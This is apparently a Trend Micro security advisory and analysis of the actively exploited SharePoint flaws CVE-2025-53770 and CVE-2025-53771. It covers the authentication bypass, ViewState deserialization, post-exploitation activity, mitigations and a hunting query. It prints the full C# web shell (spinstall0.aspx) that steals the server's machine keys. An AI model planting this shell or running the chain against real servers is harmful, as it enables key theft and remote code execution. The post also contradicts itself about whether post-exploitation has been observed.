Proactive Security for CVE-2025-53770 and CVE-2025-53771 SharePoint Attacks

By By: Trend Micro Research Jul 22, 2025 Read time: 5 min (1347 words)

Published: 2025-07-22 · Archived: 2026-04-05 16:16:38 UTC

Key takeaways

- CVE-2025-53770 and CVE-2025-53771 are vulnerabilities affecting on-premise Microsoft SharePoint Servers, which enables an attacker to upload malicious files and extract cryptographic secrets.
- These vulnerabilities are evolutions of previously patched flaws (CVE-2025-49704 and CVE-2025-49706), for which initial vendor-provided remediation was incomplete, enabling attackers to achieve unauthenticated RCE attacks through advanced deserialization techniques and ViewState abuse.
- We have observed exploit attempts across a wide range of industries, including finance, education, energy, and healthcare.
- Since original publication, we have observed increased use of these vulnerabilities by multiple threat actors. These threat actors have used integrated these exploits into their attack chains and used these to deploy ransomware onto critical infrastructure.
- Microsoft has released security updates for SharePoint Subscription Edition and Server 2019, while a patch for Server 2016 is pending. Trend Micro™ TippingPoint™ customers have been protected from these attacks since May 2025.'

Overview

CVE-2025-53770 and CVE-2025-53771 are a pair of vulnerabilities affecting Microsoft SharePoint Servers. Attacks exploiting CVE-2025-53770 in the wild were first reported by Eye Security on July 18; these vulnerabilities are currently being actively exploited to compromise on-premises SharePoint environments worldwide. Trend™ Research has independently verified these findings.

Both of these flaws build on CVE-2025-49706 and CVE-2025-49704, the initial vulnerabilities in Microsoft SharePoint that were disclosed during Pwn2Own Berlin 2025 by Viettel Cyber Security as part of a chained attack. These were patched as part of the July 2025 Patch Tuesday cycle. However, further analysis revealed that the initial patches were not fully complete, which necessitated the release of CVE-2025-53770 and CVE-2025-53771.

Microsoft acknowledged these issues in a security bulletin first published on July 19, when patches were made available for SharePoint Subscription Edition and 2019. Meanwhile, a patch for SharePoint 2016 is forthcoming as of writing. The patch for CVE-2025-53770 provides a more comprehensive fix for CVE-2025-49704, while CVE-2025-53771 does the same for CVE-2025-49706.

TippingPoint customers have been protected against these related vulnerabilities since May, as part of the discoveries made at Pwn2Own Berlin. These discoveries became CVE-2025-49704 and CVE-2025-49706 when

coordinated disclosure was done with Microsoft.

Description

Attackers exploiting CVE-2025-53770 in on-premise Sharepoint servers aim to target the */layouts/15/ToolPane.aspx* endpoint, which is initiated through a specially crafted HTTP request featuring a unique *Referer header* /_layouts/SignOut.aspx to circumvent authentication mechanisms, which results in the uploading of a malicious *.aspx* file. The weaponized file, named *spinstall0.aspx*, extracts cryptographic secrets from the SharePoint instance.

Upon extracting these secrets, the threat actors generate valid and signed *__VIEWSTATE* payloads, which enable unauthenticated RCE attacks. This exploitation chain makes use of multiple vulnerabilities, including CVE-2025-49706 and CVE-2025-49704.

```
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>
```

Figure 1. Web shell is designed to harvest cryptographic keys including ValidationKey and DecryptionKey from a system's machineKey settings

How the exploit unfolds

The observed attack progresses through the following stages:

Attackers exploit the */layouts/15/ToolPane.aspx* endpoint using a carefully crafted HTTP request and a specific Referer header value of /_layouts/SignOut.aspxto bypass authentication controls.

A malicious ASPX file (*spinstall0.aspx*) is uploaded to the server. The file is intended to extract sensitive cryptographic secrets from the SharePoint environment.

The malicious *spinstall0.aspx* extracts the server's MachineKey configuration, which includes the *ValidationKey*, which is critical for generating valid *__VIEWSTATE* payloads.

Using the stolen cryptographic secrets, the attackers employ tools such as ysoserial can generate valid serialized, *__VIEWSTATE* objects, which are then deserialized by SharePoint, enabling unauthenticated remote code execution.

Note that the file *spinstall0.aspx* has been observed at the following path:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0[.]aspx.

Technical Details

The malicious ASPX files employ reflective code loading through the *System.Reflection.Assembly.Load() C# method* (TT1620) to expose machineKey settings from *web.config*. Although these files do not directly execute additional code, they leak keys used for authentication and ViewState security, significantly increasing the risks of token forgery and data tampering.

The Scorecard:ExcelDataSet control in SharePoint can embed a base64-encoded CompressedDataTable payload within a malicious ViewState object—often crafted using tools like **ysoserial**—leading to remote code execution via deserialization.

Figure 2. Malicious POST request used to bypass SharePoint authentication

The decoded ViewState payloads reference system objects and may execute PowerShell commands. For example, a PowerShell script can be used to decode a base64 string and write its contents to *spinstall0.aspx* in the SharePoint LAYOUTS directory.

The web shell scripts, written in C#, uses internal .NET classes to access SharePoint's *MachineKeySection*. This facilitates the extraction of critical cryptographic configuration values, including *ValidationKey*, *DecryptionKey*, *Decryption*, and *CompatibilityMode*.

Figure 3. C# web shell script accessing .NET MachineKeySection to extract SharePoint cryptographic keys

Currently, we have observed exploitation attempts across multiple regions, including Asia, Europe, and the United States. A wide range of industries have also been targeted, notably finance, education, energy, and healthcare.

Initial Access (TA0001)	Credential Access (TA0006)	Command and Control (TA0011)	Reflective Code Loading (T1620)
Exploit Public-Facing Application (T1190)	OS Credential Dumping (T1003)	Application Layer Protocol: Web (T1071.001)	Server Software Component: Web Shell (1505.003)

Table 1. Summary of the MITRE ATT&CK tools, tactics, and procedures used in attacks that exploit CVE-2025-53770 and CVE-2025-53771

Post-Exploitation Analysis

Our analysis reveals that threat actors are leveraging the initial compromise for comprehensive enterprise reconnaissance and data theft. The systematic approach to Active Directory enumeration and cross-server lateral movement indicates these are not opportunistic attacks, but rather targeted operations with specific objectives. The use of password-protected RAR archives with date-filtered log collection (-ta2025-07-01) suggests interest in recent activities or specific timeframes. The deployment of debug_dev.js represents an evolution in attack sophistication, as this file aggregates all web.config files across the SharePoint farm, providing attackers with a comprehensive map of the enterprise's web infrastructure, including connection strings, service accounts, and internal URLs.

Summary

This sophisticated attack chain demonstrates a fundamental shift in how threat actors are targeting enterprise infrastructure. The complete bypass of SharePoint authentication, combined with cryptographic key extraction, transforms what should be a protected internal system into an open gateway for attackers. The observed post-exploitation activities reveal a methodical approach that goes far beyond simple web shell deployment - attackers are harvesting enterprise-wide configurations, mapping Active Directory structures, and establishing multiple persistence mechanisms across SharePoint farm servers.

Recommendation and Trend solutions

The active exploitation of CVE-2025-53770 and CVE-2025-53771 illustrates the evolving nature of threat activity targeting on-premise Microsoft SharePoint environments. Organizations must proactively apply available patches, enhance monitoring, and ensure layered security controls are in place to effectively defend against these advancing threats.

We strongly recommend applying the latest security updates from Microsoft for on-premise SharePoint servers (note that Office 365 and Online servers are not affected), monitoring for the presence of unauthorized ASPX files in the LAYOUTS directory, auditing configuration files for suspicious changes, and inspecting server logs for anomalous access patterns—particularly those involving the *ToolPane.aspx* endpoint and *ViewState* activity. Furthermore, while no post-exploitation activity has been observed at this time, we still suggest rotating any potentially affected keys as a precaution, since exploitation, if it occurred, may have exposed them.

TippingPoint customers have benefited from proactive and multi-layered protection against these vulnerabilities since the initial disclosure via the Pwn2Own program in May of 2025.

Specific details on more protection rules and filters for Trend customers are available in the corresponding knowledge base entry.

Trend Vision One™ Threat Intelligence

To stay ahead of evolving threats, Trend customers can access Threat Insightsproducts, which provide the latest insights from Trend Research on emerging threats and threat actors.

Threat Insights App

Emerging Threats: CVE-2025-53770 - Microsoft SharePoint Vulnerability Explotation In The Wild

Hunting Queries

Trend Vision One customers can use the Search App to match or hunt the malicious indicators mentioned in this blog post with data in their environment.

CVE-2025-53770: Dropping of Malicious ASPX file using PowerShell

eventSubId: 901 AND objectRawDataStr: "TEMPLATE\LAYOUTS\spinstall0.aspx"

More hunting queries are available for Trend Vision One customers with Threat Insights entitlement enabled.

Indicators of Compromise (IOCs)

The IoCs for this blog can be found here.

Tags
